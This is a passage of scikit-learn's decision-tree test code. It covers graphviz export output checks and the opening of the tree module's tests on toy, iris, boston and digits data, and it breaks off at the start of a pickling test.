    export_graphviz(clf, out_file=out, filled=True, impurity=False,
                    proportion=True, special_characters=True, rounded=True)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box, style="filled, rounded", color="black", ' \
                'fontname=helvetica] ;\n' \
                'edge [fontname=helvetica] ;\n' \
                '0 [label=<X<SUB>0</SUB> &le; 0.0<br/>samples = 100.0%<br/>' \
                'value = [0.5, 0.5]>, fillcolor="#e5813900"] ;\n' \
                '1 [label=<samples = 50.0%<br/>value = [1.0, 0.0]>, ' \
                'fillcolor="#e58139ff"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="True"] ;\n' \
                '2 [label=<samples = 50.0%<br/>value = [0.0, 1.0]>, ' \
                'fillcolor="#399de5ff"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="False"] ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test max_depth
    out = StringIO()
    export_graphviz(clf, out_file=out, max_depth=0, class_names=True)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box] ;\n' \
                '0 [label="X[0] <= 0.0\\ngini = 0.5\\nsamples = 6\\n' \
                'value = [3, 3]\\nclass = y[0]"] ;\n' \
                '1 [label="(...)"] ;\n' \
                '0 -> 1 ;\n' \
                '2 [label="(...)"] ;\n' \
                '0 -> 2 ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test max_depth with plot_options
    out = StringIO()
    export_graphviz(clf, out_file=out, max_depth=0, filled=True,
                    node_ids=True)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box, style="filled", color="black"] ;\n' \
                '0 [label="node #0\\nX[0] <= 0.0\\ngini = 0.5\\n' \
                'samples = 6\\nvalue = [3, 3]", fillcolor="#e5813900"] ;\n' \
                '1 [label="(...)", fillcolor="#C0C0C0"] ;\n' \
                '0 -> 1 ;\n' \
                '2 [label="(...)", fillcolor="#C0C0C0"] ;\n' \
                '0 -> 2 ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test multi-output with weighted samples
    clf = DecisionTreeClassifier(max_depth=2,
                                 min_samples_split=2,
                                 criterion="gini",
                                 random_state=2)
    clf = clf.fit(X, y2, sample_weight=w)

    out = StringIO()
    export_graphviz(clf, out_file=out, filled=True, impurity=False)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box, style="filled", color="black"] ;\n' \
                '0 [label="X[0] <= 0.0\\nsamples = 6\\n' \
                'value = [[3.0, 1.5, 0.0]\\n' \
                '[3.0, 1.0, 0.5]]", fillcolor="#e5813900"] ;\n' \
                '1 [label="samples = 3\\nvalue = [[3, 0, 0]\\n' \
                '[3, 0, 0]]", fillcolor="#e58139ff"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="True"] ;\n' \
                '2 [label="X[0] <= 1.5\\nsamples = 3\\n' \
                'value = [[0.0, 1.5, 0.0]\\n' \
                '[0.0, 1.0, 0.5]]", fillcolor="#e5813986"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="False"] ;\n' \
                '3 [label="samples = 2\\nvalue = [[0, 1, 0]\\n' \
                '[0, 1, 0]]", fillcolor="#e58139ff"] ;\n' \
                '2 -> 3 ;\n' \
                '4 [label="samples = 1\\nvalue = [[0.0, 0.5, 0.0]\\n' \
                '[0.0, 0.0, 0.5]]", fillcolor="#e58139ff"] ;\n' \
                '2 -> 4 ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test regression output with plot_options
    clf = DecisionTreeRegressor(max_depth=3,
                                min_samples_split=2,
                                criterion="mse",
                                random_state=2)
    clf.fit(X, y)

    out = StringIO()
    export_graphviz(clf, out_file=out, filled=True, leaves_parallel=True,
                    rotate=True, rounded=True)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box, style="filled, rounded", color="black", ' \
                'fontname=helvetica] ;\n' \
                'graph [ranksep=equally, splines=polyline] ;\n' \
                'edge [fontname=helvetica] ;\n' \
                'rankdir=LR ;\n' \
                '0 [label="X[0] <= 0.0\\nmse = 1.0\\nsamples = 6\\n' \
                'value = 0.0", fillcolor="#e5813980"] ;\n' \
                '1 [label="mse = 0.0\\nsamples = 3\\nvalue = -1.0", ' \
                'fillcolor="#e5813900"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="True"] ;\n' \
                '2 [label="mse = 0.0\\nsamples = 3\\nvalue = 1.0", ' \
                'fillcolor="#e58139ff"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="False"] ;\n' \
                '{rank=same ; 0} ;\n' \
                '{rank=same ; 1; 2} ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test classifier with degraded learning set
    clf = DecisionTreeClassifier(max_depth=3)
    clf.fit(X, y_degraded)

    out = StringIO()
    export_graphviz(clf, out_file=out, filled=True)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box, style="filled", color="black"] ;\n' \
                '0 [label="gini = 0.0\\nsamples = 6\\nvalue = 6.0", fillcolor="#e5813900"] ;\n' \
                '}'

    assert_equal(contents1, contents2)


def test_graphviz_errors():
    # Check for errors of export_graphviz
    clf = DecisionTreeClassifier(max_depth=3, min_samples_split=2)
    clf.fit(X, y)

    # Check feature_names error
    out = StringIO()
    assert_raises(IndexError, export_graphviz, clf, out, feature_names=[])

    # Check class_names error
    out = StringIO()
    assert_raises(IndexError, export_graphviz, clf, out, class_names=[])


def test_friedman_mse_in_graphviz():
    clf = DecisionTreeRegressor(criterion="friedman_mse", random_state=0)
    clf.fit(X, y)
    dot_data = StringIO()
    export_graphviz(clf, out_file=dot_data)

    clf = GradientBoostingClassifier(n_estimators=2, random_state=0)
    clf.fit(X, y)
    for estimator in clf.estimators_:
        export_graphviz(estimator[0], out_file=dot_data)

    for finding in finditer("\[.*?samples.*?\]", dot_data.getvalue()):
        assert_in("friedman_mse", finding.group())












"""
Testing for the tree module (sklearn.tree).
"""
import pickle
from functools import partial
from itertools import product
import struct

import numpy as np
from scipy.sparse import csc_matrix
from scipy.sparse import csr_matrix
from scipy.sparse import coo_matrix

from sklearn.random_projection import sparse_random_matrix

from sklearn.metrics import accuracy_score
from sklearn.metrics import mean_squared_error

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_less_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import raises
from sklearn.utils.testing import ignore_warnings

from sklearn.utils.validation import check_random_state

from sklearn.exceptions import NotFittedError

from sklearn.tree import DecisionTreeClassifier
from sklearn.tree import DecisionTreeRegressor
from sklearn.tree import ExtraTreeClassifier
from sklearn.tree import ExtraTreeRegressor

from sklearn import tree
from sklearn.tree._tree import TREE_LEAF
from sklearn import datasets

from sklearn.utils import compute_sample_weight

CLF_CRITERIONS = ("gini", "entropy")
REG_CRITERIONS = ("mse", "mae")

CLF_TREES = {
    "DecisionTreeClassifier": DecisionTreeClassifier,
    "Presort-DecisionTreeClassifier": partial(DecisionTreeClassifier,
                                              presort=True),
    "ExtraTreeClassifier": ExtraTreeClassifier,
}

REG_TREES = {
    "DecisionTreeRegressor": DecisionTreeRegressor,
    "Presort-DecisionTreeRegressor": partial(DecisionTreeRegressor,
                                             presort=True),
    "ExtraTreeRegressor": ExtraTreeRegressor,
}

ALL_TREES = dict()
ALL_TREES.update(CLF_TREES)
ALL_TREES.update(REG_TREES)

SPARSE_TREES = ["DecisionTreeClassifier", "DecisionTreeRegressor",
                "ExtraTreeClassifier", "ExtraTreeRegressor"]


X_small = np.array([
    [0, 0, 4, 0, 0, 0, 1, -14, 0, -4, 0, 0, 0, 0, ],
    [0, 0, 5, 3, 0, -4, 0, 0, 1, -5, 0.2, 0, 4, 1, ],
    [-1, -1, 0, 0, -4.5, 0, 0, 2.1, 1, 0, 0, -4.5, 0, 1, ],
    [-1, -1, 0, -1.2, 0, 0, 0, 0, 0, 0, 0.2, 0, 0, 1, ],
    [-1, -1, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 1, ],
    [-1, -2, 0, 4, -3, 10, 4, 0, -3.2, 0, 4, 3, -4, 1, ],
    [2.11, 0, -6, -0.5, 0, 11, 0, 0, -3.2, 6, 0.5, 0, -3, 1, ],
    [2.11, 0, -6, -0.5, 0, 11, 0, 0, -3.2, 6, 0, 0, -2, 1, ],
    [2.11, 8, -6, -0.5, 0, 11, 0, 0, -3.2, 6, 0, 0, -2, 1, ],
    [2.11, 8, -6, -0.5, 0, 11, 0, 0, -3.2, 6, 0.5, 0, -1, 0, ],
    [2, 8, 5, 1, 0.5, -4, 10, 0, 1, -5, 3, 0, 2, 0, ],
    [2, 0, 1, 1, 1, -1, 1, 0, 0, -2, 3, 0, 1, 0, ],
    [2, 0, 1, 2, 3, -1, 10, 2, 0, -1, 1, 2, 2, 0, ],
    [1, 1, 0, 2, 2, -1, 1, 2, 0, -5, 1, 2, 3, 0, ],
    [3, 1, 0, 3, 0, -4, 10, 0, 1, -5, 3, 0, 3, 1, ],
    [2.11, 8, -6, -0.5, 0, 1, 0, 0, -3.2, 6, 0.5, 0, -3, 1, ],
    [2.11, 8, -6, -0.5, 0, 1, 0, 0, -3.2, 6, 1.5, 1, -1, -1, ],
    [2.11, 8, -6, -0.5, 0, 10, 0, 0, -3.2, 6, 0.5, 0, -1, -1, ],
    [2, 0, 5, 1, 0.5, -2, 10, 0, 1, -5, 3, 1, 0, -1, ],
    [2, 0, 1, 1, 1, -2, 1, 0, 0, -2, 0, 0, 0, 1, ],
    [2, 1, 1, 1, 2, -1, 10, 2, 0, -1, 0, 2, 1, 1, ],
    [1, 1, 0, 0, 1, -3, 1, 2, 0, -5, 1, 2, 1, 1, ],
    [3, 1, 0, 1, 0, -4, 1, 0, 1, -2, 0, 0, 1, 0, ]])

y_small = [1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0,
           0, 0]
y_small_reg = [1.0, 2.1, 1.2, 0.05, 10, 2.4, 3.1, 1.01, 0.01, 2.98, 3.1, 1.1,
               0.0, 1.2, 2, 11, 0, 0, 4.5, 0.201, 1.06, 0.9, 0]

# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
true_result = [-1, 1, 1]

# also load the iris dataset
# and randomly permute it
iris = datasets.load_iris()
rng = np.random.RandomState(1)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]

# also load the boston dataset
# and randomly permute it
boston = datasets.load_boston()
perm = rng.permutation(boston.target.size)
boston.data = boston.data[perm]
boston.target = boston.target[perm]

digits = datasets.load_digits()
perm = rng.permutation(digits.target.size)
digits.data = digits.data[perm]
digits.target = digits.target[perm]

random_state = check_random_state(0)
X_multilabel, y_multilabel = datasets.make_multilabel_classification(
    random_state=0, n_samples=30, n_features=10)

X_sparse_pos = random_state.uniform(size=(20, 5))
X_sparse_pos[X_sparse_pos <= 0.8] = 0.
y_random = random_state.randint(0, 4, size=(20, ))
X_sparse_mix = sparse_random_matrix(20, 10, density=0.25, random_state=0)


DATASETS = {
    "iris": {"X": iris.data, "y": iris.target},
    "boston": {"X": boston.data, "y": boston.target},
    "digits": {"X": digits.data, "y": digits.target},
    "toy": {"X": X, "y": y},
    "clf_small": {"X": X_small, "y": y_small},
    "reg_small": {"X": X_small, "y": y_small_reg},
    "multilabel": {"X": X_multilabel, "y": y_multilabel},
    "sparse-pos": {"X": X_sparse_pos, "y": y_random},
    "sparse-neg": {"X": - X_sparse_pos, "y": y_random},
    "sparse-mix": {"X": X_sparse_mix, "y": y_random},
    "zeros": {"X": np.zeros((20, 3)), "y": y_random}
}

for name in DATASETS:
    DATASETS[name]["X_sparse"] = csc_matrix(DATASETS[name]["X"])


def assert_tree_equal(d, s, message):
    assert_equal(s.node_count, d.node_count,
                 "{0}: inequal number of node ({1} != {2})"
                 "".format(message, s.node_count, d.node_count))

    assert_array_equal(d.children_right, s.children_right,
                       message + ": inequal children_right")
    assert_array_equal(d.children_left, s.children_left,
                       message + ": inequal children_left")

    external = d.children_right == TREE_LEAF
    internal = np.logical_not(external)

    assert_array_equal(d.feature[internal], s.feature[internal],
                       message + ": inequal features")
    assert_array_equal(d.threshold[internal], s.threshold[internal],
                       message + ": inequal threshold")
    assert_array_equal(d.n_node_samples.sum(), s.n_node_samples.sum(),
                       message + ": inequal sum(n_node_samples)")
    assert_array_equal(d.n_node_samples, s.n_node_samples,
                       message + ": inequal n_node_samples")

    assert_almost_equal(d.impurity, s.impurity,
                        err_msg=message + ": inequal impurity")

    assert_array_almost_equal(d.value[external], s.value[external],
                              err_msg=message + ": inequal value")


def test_classification_toy():
    # Check classification on a toy dataset.
    for name, Tree in CLF_TREES.items():
        clf = Tree(random_state=0)
        clf.fit(X, y)
        assert_array_equal(clf.predict(T), true_result,
                           "Failed with {0}".format(name))

        clf = Tree(max_features=1, random_state=1)
        clf.fit(X, y)
        assert_array_equal(clf.predict(T), true_result,
                           "Failed with {0}".format(name))


def test_weighted_classification_toy():
    # Check classification on a weighted toy dataset.
    for name, Tree in CLF_TREES.items():
        clf = Tree(random_state=0)

        clf.fit(X, y, sample_weight=np.ones(len(X)))
        assert_array_equal(clf.predict(T), true_result,
                           "Failed with {0}".format(name))

        clf.fit(X, y, sample_weight=np.ones(len(X)) * 0.5)
        assert_array_equal(clf.predict(T), true_result,
                           "Failed with {0}".format(name))


def test_regression_toy():
    # Check regression on a toy dataset.
    for name, Tree in REG_TREES.items():
        reg = Tree(random_state=1)
        reg.fit(X, y)
        assert_almost_equal(reg.predict(T), true_result,
                            err_msg="Failed with {0}".format(name))

        clf = Tree(max_features=1, random_state=1)
        clf.fit(X, y)
        assert_almost_equal(reg.predict(T), true_result,
                            err_msg="Failed with {0}".format(name))


def test_xor():
    # Check on a XOR problem
    y = np.zeros((10, 10))
    y[:5, :5] = 1
    y[5:, 5:] = 1

    gridx, gridy = np.indices(y.shape)

    X = np.vstack([gridx.ravel(), gridy.ravel()]).T
    y = y.ravel()

    for name, Tree in CLF_TREES.items():
        clf = Tree(random_state=0)
        clf.fit(X, y)
        assert_equal(clf.score(X, y), 1.0,
                     "Failed with {0}".format(name))

        clf = Tree(random_state=0, max_features=1)
        clf.fit(X, y)
        assert_equal(clf.score(X, y), 1.0,
                     "Failed with {0}".format(name))


def test_iris():
    # Check consistency on dataset iris.
    for (name, Tree), criterion in product(CLF_TREES.items(), CLF_CRITERIONS):
        clf = Tree(criterion=criterion, random_state=0)
        clf.fit(iris.data, iris.target)
        score = accuracy_score(clf.predict(iris.data), iris.target)
        assert_greater(score, 0.9,
                       "Failed with {0}, criterion = {1} and score = {2}"
                       "".format(name, criterion, score))

        clf = Tree(criterion=criterion, max_features=2, random_state=0)
        clf.fit(iris.data, iris.target)
        score = accuracy_score(clf.predict(iris.data), iris.target)
        assert_greater(score, 0.5,
                       "Failed with {0}, criterion = {1} and score = {2}"
                       "".format(name, criterion, score))


def test_boston():
    # Check consistency on dataset boston house prices.

    for (name, Tree), criterion in product(REG_TREES.items(), REG_CRITERIONS):
        reg = Tree(criterion=criterion, random_state=0)
        reg.fit(boston.data, boston.target)
        score = mean_squared_error(boston.target, reg.predict(boston.data))
        assert_less(score, 1,
                    "Failed with {0}, criterion = {1} and score = {2}"
                    "".format(name, criterion, score))

        # using fewer features reduces the learning ability of this tree,
        # but reduces training time.
        reg = Tree(criterion=criterion, max_features=6, random_state=0)
        reg.fit(boston.data, boston.target)
        score = mean_squared_error(boston.target, reg.predict(boston.data))
        assert_less(score, 2,
                    "Failed with {0}, criterion = {1} and score = {2}"
                    "".format(name, criterion, score))


def test_probability():
    # Predict probabilities using DecisionTreeClassifier.

    for name, Tree in CLF_TREES.items():
        clf = Tree(max_depth=1, max_features=1, random_state=42)
        clf.fit(iris.data, iris.target)

        prob_predict = clf.predict_proba(iris.data)
        assert_array_almost_equal(np.sum(prob_predict, 1),
                                  np.ones(iris.data.shape[0]),
                                  err_msg="Failed with {0}".format(name))
        assert_array_equal(np.argmax(prob_predict, 1),
                           clf.predict(iris.data),
                           err_msg="Failed with {0}".format(name))
        assert_almost_equal(clf.predict_proba(iris.data),
                            np.exp(clf.predict_log_proba(iris.data)), 8,
                            err_msg="Failed with {0}".format(name))


def test_arrayrepr():
    # Check the array representation.
    # Check resize
    X = np.arange(10000)[:, np.newaxis]
    y = np.arange(10000)

    for name, Tree in REG_TREES.items():
        reg = Tree(max_depth=None, random_state=0)
        reg.fit(X, y)


def test_pure_set():
    # Check when y is pure.
    X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
    y = [1, 1, 1, 1, 1, 1]

    for name, TreeClassifier in CLF_TREES.items():
        clf = TreeClassifier(random_state=0)
        clf.fit(X, y)
        assert_array_equal(clf.predict(X), y,
                           err_msg="Failed with {0}".format(name))

    for name, TreeRegressor in REG_TREES.items():
        reg = TreeRegressor(random_state=0)
        reg.fit(X, y)
        assert_almost_equal(clf.predict(X), y,
                            err_msg="Failed with {0}".format(name))


def test_numerical_stability():
    # Check numerical stability.
    X = np.array([
        [152.08097839, 140.40744019, 129.75102234, 159.90493774],
        [142.50700378, 135.81935120, 117.82884979, 162.75781250],
        [127.28772736, 140.40744019, 129.75102234, 159.90493774],
        [132.37025452, 143.71923828, 138.35694885, 157.84558105],
        [103.10237122, 143.71928406, 138.35696411, 157.84559631],
        [127.71276855, 143.71923828, 138.35694885, 157.84558105],
        [120.91514587, 140.40744019, 129.75102234, 159.90493774]])

    y = np.array(
        [1., 0.70209277, 0.53896582, 0., 0.90914464, 0.48026916, 0.49622521])

    with np.errstate(all="raise"):
        for name, Tree in REG_TREES.items():
            reg = Tree(random_state=0)
            reg.fit(X, y)
            reg.fit(X, -y)
            reg.fit(-X, y)
            reg.fit(-X, -y)


def test_importances():
    # Check variable importances.
    X, y = datasets.make_classification(n_samples=2000,
                                        n_features=10,
                                        n_informative=3,
                                        n_redundant=0,
                                        n_repeated=0,
                                        shuffle=False,
                                        random_state=0)

    for name, Tree in CLF_TREES.items():
        clf = Tree(random_state=0)

        clf.fit(X, y)
        importances = clf.feature_importances_
        n_important = np.sum(importances > 0.1)

        assert_equal(importances.shape[0], 10, "Failed with {0}".format(name))
        assert_equal(n_important, 3, "Failed with {0}".format(name))

        X_new = assert_warns(
            DeprecationWarning, clf.transform, X, threshold="mean")
        assert_less(0, X_new.shape[1], "Failed with {0}".format(name))
        assert_less(X_new.shape[1], X.shape[1], "Failed with {0}".format(name))

    # Check on iris that importances are the same for all builders
    clf = DecisionTreeClassifier(random_state=0)
    clf.fit(iris.data, iris.target)
    clf2 = DecisionTreeClassifier(random_state=0,
                                  max_leaf_nodes=len(iris.data))
    clf2.fit(iris.data, iris.target)

    assert_array_equal(clf.feature_importances_,
                       clf2.feature_importances_)


@raises(ValueError)
def test_importances_raises():
    # Check if variable importance before fit raises ValueError.
    clf = DecisionTreeClassifier()
    clf.feature_importances_


def test_importances_gini_equal_mse():
    # Check that gini is equivalent to mse for binary output variable

    X, y = datasets.make_classification(n_samples=2000,
                                        n_features=10,
                                        n_informative=3,
                                        n_redundant=0,
                                        n_repeated=0,
                                        shuffle=False,
                                        random_state=0)

    # The gini index and the mean square error (variance) might differ due
    # to numerical instability. Since those instabilities mainly occurs at
    # high tree depth, we restrict this maximal depth.
    clf = DecisionTreeClassifier(criterion="gini", max_depth=5,
                                 random_state=0).fit(X, y)
    reg = DecisionTreeRegressor(criterion="mse", max_depth=5,
                                random_state=0).fit(X, y)

    assert_almost_equal(clf.feature_importances_, reg.feature_importances_)
    assert_array_equal(clf.tree_.feature, reg.tree_.feature)
    assert_array_equal(clf.tree_.children_left, reg.tree_.children_left)
    assert_array_equal(clf.tree_.children_right, reg.tree_.children_right)
    assert_array_equal(clf.tree_.n_node_samples, reg.tree_.n_node_samples)


def test_max_features():
    # Check max_features.
    for name, TreeRegressor in REG_TREES.items():
        reg = TreeRegressor(max_features="auto")
        reg.fit(boston.data, boston.target)
        assert_equal(reg.max_features_, boston.data.shape[1])

    for name, TreeClassifier in CLF_TREES.items():
        clf = TreeClassifier(max_features="auto")
        clf.fit(iris.data, iris.target)
        assert_equal(clf.max_features_, 2)

    for name, TreeEstimator in ALL_TREES.items():
        est = TreeEstimator(max_features="sqrt")
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_,
                     int(np.sqrt(iris.data.shape[1])))

        est = TreeEstimator(max_features="log2")
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_,
                     int(np.log2(iris.data.shape[1])))

        est = TreeEstimator(max_features=1)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_, 1)

        est = TreeEstimator(max_features=3)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_, 3)

        est = TreeEstimator(max_features=0.01)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_, 1)

        est = TreeEstimator(max_features=0.5)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_,
                     int(0.5 * iris.data.shape[1]))

        est = TreeEstimator(max_features=1.0)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_, iris.data.shape[1])

        est = TreeEstimator(max_features=None)
        est.fit(iris.data, iris.target)
        assert_equal(est.max_features_, iris.data.shape[1])

        # use values of max_features that are invalid
        est = TreeEstimator(max_features=10)
        assert_raises(ValueError, est.fit, X, y)

        est = TreeEstimator(max_features=-1)
        assert_raises(ValueError, est.fit, X, y)

        est = TreeEstimator(max_features=0.0)
        assert_raises(ValueError, est.fit, X, y)

        est = TreeEstimator(max_features=1.5)
        assert_raises(ValueError, est.fit, X, y)

        est = TreeEstimator(max_features="foobar")
        assert_raises(ValueError, est.fit, X, y)


def test_error():
    # Test that it gives proper exception on deficient input.
    for name, TreeEstimator in CLF_TREES.items():
        # predict before fit
        est = TreeEstimator()
        assert_raises(NotFittedError, est.predict_proba, X)

        est.fit(X, y)
        X2 = [[-2, -1, 1]]  # wrong feature shape for sample
        assert_raises(ValueError, est.predict_proba, X2)

    for name, TreeEstimator in ALL_TREES.items():
        # Invalid values for parameters
        assert_raises(ValueError, TreeEstimator(min_samples_leaf=-1).fit, X, y)
        assert_raises(ValueError, TreeEstimator(min_samples_leaf=.6).fit, X, y)
        assert_raises(ValueError, TreeEstimator(min_samples_leaf=0.).fit, X, y)
        assert_raises(ValueError,
                      TreeEstimator(min_weight_fraction_leaf=-1).fit,
                      X, y)
        assert_raises(ValueError,
                      TreeEstimator(min_weight_fraction_leaf=0.51).fit,
                      X, y)
        assert_raises(ValueError, TreeEstimator(min_samples_split=-1).fit,
                      X, y)
        assert_raises(ValueError, TreeEstimator(min_samples_split=0.0).fit,
                      X, y)
        assert_raises(ValueError, TreeEstimator(min_samples_split=1.1).fit,
                      X, y)
        assert_raises(ValueError, TreeEstimator(max_depth=-1).fit, X, y)
        assert_raises(ValueError, TreeEstimator(max_features=42).fit, X, y)
        assert_raises(ValueError, TreeEstimator(min_impurity_split=-1.0).fit, X, y)

        # Wrong dimensions
        est = TreeEstimator()
        y2 = y[:-1]
        assert_raises(ValueError, est.fit, X, y2)

        # Test with arrays that are non-contiguous.
        Xf = np.asfortranarray(X)
        est = TreeEstimator()
        est.fit(Xf, y)
        assert_almost_equal(est.predict(T), true_result)

        # predict before fitting
        est = TreeEstimator()
        assert_raises(NotFittedError, est.predict, T)

        # predict on vector with different dims
        est.fit(X, y)
        t = np.asarray(T)
        assert_raises(ValueError, est.predict, t[:, 1:])

        # wrong sample shape
        Xt = np.array(X).T

        est = TreeEstimator()
        est.fit(np.dot(X, Xt), y)
        assert_raises(ValueError, est.predict, X)
        assert_raises(ValueError, est.apply, X)

        clf = TreeEstimator()
        clf.fit(X, y)
        assert_raises(ValueError, clf.predict, Xt)
        assert_raises(ValueError, clf.apply, Xt)

        # apply before fitting
        est = TreeEstimator()
        assert_raises(NotFittedError, est.apply, T)


def test_min_samples_split():
    """Test min_samples_split parameter"""
    X = np.asfortranarray(iris.data.astype(tree._tree.DTYPE))
    y = iris.target

    # test both DepthFirstTreeBuilder and BestFirstTreeBuilder
    # by setting max_leaf_nodes
    for max_leaf_nodes, name in product((None, 1000), ALL_TREES.keys()):
        TreeEstimator = ALL_TREES[name]

        # test for integer parameter
        est = TreeEstimator(min_samples_split=10,
                            max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        est.fit(X, y)
        # count samples on nodes, -1 means it is a leaf
        node_samples = est.tree_.n_node_samples[est.tree_.children_left != -1]

        assert_greater(np.min(node_samples), 9,
                       "Failed with {0}".format(name))

        # test for float parameter
        est = TreeEstimator(min_samples_split=0.2,
                            max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        est.fit(X, y)
        # count samples on nodes, -1 means it is a leaf
        node_samples = est.tree_.n_node_samples[est.tree_.children_left != -1]

        assert_greater(np.min(node_samples), 9,
                       "Failed with {0}".format(name))



def test_min_samples_leaf():
    # Test if leaves contain more than leaf_count training examples
    X = np.asfortranarray(iris.data.astype(tree._tree.DTYPE))
    y = iris.target

    # test both DepthFirstTreeBuilder and BestFirstTreeBuilder
    # by setting max_leaf_nodes
    for max_leaf_nodes, name in product((None, 1000), ALL_TREES.keys()):
        TreeEstimator = ALL_TREES[name]

        # test integer parameter
        est = TreeEstimator(min_samples_leaf=5,
                            max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        est.fit(X, y)
        out = est.tree_.apply(X)
        node_counts = np.bincount(out)
        # drop inner nodes
        leaf_count = node_counts[node_counts != 0]
        assert_greater(np.min(leaf_count), 4,
                       "Failed with {0}".format(name))

        # test float parameter
        est = TreeEstimator(min_samples_leaf=0.1,
                            max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        est.fit(X, y)
        out = est.tree_.apply(X)
        node_counts = np.bincount(out)
        # drop inner nodes
        leaf_count = node_counts[node_counts != 0]
        assert_greater(np.min(leaf_count), 4,
                       "Failed with {0}".format(name))


def check_min_weight_fraction_leaf(name, datasets, sparse=False):
    """Test if leaves contain at least min_weight_fraction_leaf of the
    training set"""
    if sparse:
        X = DATASETS[datasets]["X_sparse"].astype(np.float32)
    else:
        X = DATASETS[datasets]["X"].astype(np.float32)
    y = DATASETS[datasets]["y"]

    weights = rng.rand(X.shape[0])
    total_weight = np.sum(weights)

    TreeEstimator = ALL_TREES[name]

    # test both DepthFirstTreeBuilder and BestFirstTreeBuilder
    # by setting max_leaf_nodes
    for max_leaf_nodes, frac in product((None, 1000), np.linspace(0, 0.5, 6)):
        est = TreeEstimator(min_weight_fraction_leaf=frac,
                            max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        est.fit(X, y, sample_weight=weights)

        if sparse:
            out = est.tree_.apply(X.tocsr())

        else:
            out = est.tree_.apply(X)

        node_weights = np.bincount(out, weights=weights)
        # drop inner nodes
        leaf_weights = node_weights[node_weights != 0]
        assert_greater_equal(
            np.min(leaf_weights),
            total_weight * est.min_weight_fraction_leaf,
            "Failed with {0} "
            "min_weight_fraction_leaf={1}".format(
                name, est.min_weight_fraction_leaf))


def test_min_weight_fraction_leaf():
    # Check on dense input
    for name in ALL_TREES:
        yield check_min_weight_fraction_leaf, name, "iris"

    # Check on sparse input
    for name in SPARSE_TREES:
        yield check_min_weight_fraction_leaf, name, "multilabel", True


def test_min_impurity_split():
    # test if min_impurity_split creates leaves with impurity
    # [0, min_impurity_split) when min_samples_leaf = 1 and
    # min_samples_split = 2.
    X = np.asfortranarray(iris.data.astype(tree._tree.DTYPE))
    y = iris.target

    # test both DepthFirstTreeBuilder and BestFirstTreeBuilder
    # by setting max_leaf_nodes
    for max_leaf_nodes, name in product((None, 1000), ALL_TREES.keys()):
        TreeEstimator = ALL_TREES[name]
        min_impurity_split = .5

        # verify leaf nodes without min_impurity_split less than
        # impurity 1e-7
        est = TreeEstimator(max_leaf_nodes=max_leaf_nodes,
                            random_state=0)
        assert_less_equal(est.min_impurity_split, 1e-7,
                     "Failed, min_impurity_split = {0} > 1e-7".format(
                         est.min_impurity_split))
        est.fit(X, y)
        for node in range(est.tree_.node_count):
            if (est.tree_.children_left[node] == TREE_LEAF or
                est.tree_.children_right[node] == TREE_LEAF):
                assert_equal(est.tree_.impurity[node], 0.,
                             "Failed with {0} "
                             "min_impurity_split={1}".format(
                                 est.tree_.impurity[node],
                                 est.min_impurity_split))

        # verify leaf nodes have impurity [0,min_impurity_split] when using min_impurity_split
        est = TreeEstimator(max_leaf_nodes=max_leaf_nodes,
                            min_impurity_split=min_impurity_split,
                            random_state=0)
        est.fit(X, y)
        for node in range(est.tree_.node_count):
            if (est.tree_.children_left[node] == TREE_LEAF or
                est.tree_.children_right[node] == TREE_LEAF):
                assert_greater_equal(est.tree_.impurity[node], 0,
                                     "Failed with {0}, "
                                     "min_impurity_split={1}".format(
                                         est.tree_.impurity[node],
                                         est.min_impurity_split))
                assert_less_equal(est.tree_.impurity[node], min_impurity_split,
                                  "Failed with {0}, "
                                  "min_impurity_split={1}".format(
                                      est.tree_.impurity[node],
                                      est.min_impurity_split))


def test_pickle():

    for name, TreeEstimator in ALL_TREES.items():
        if "Classifier" in name:
            X, y = iris.data, iris.target
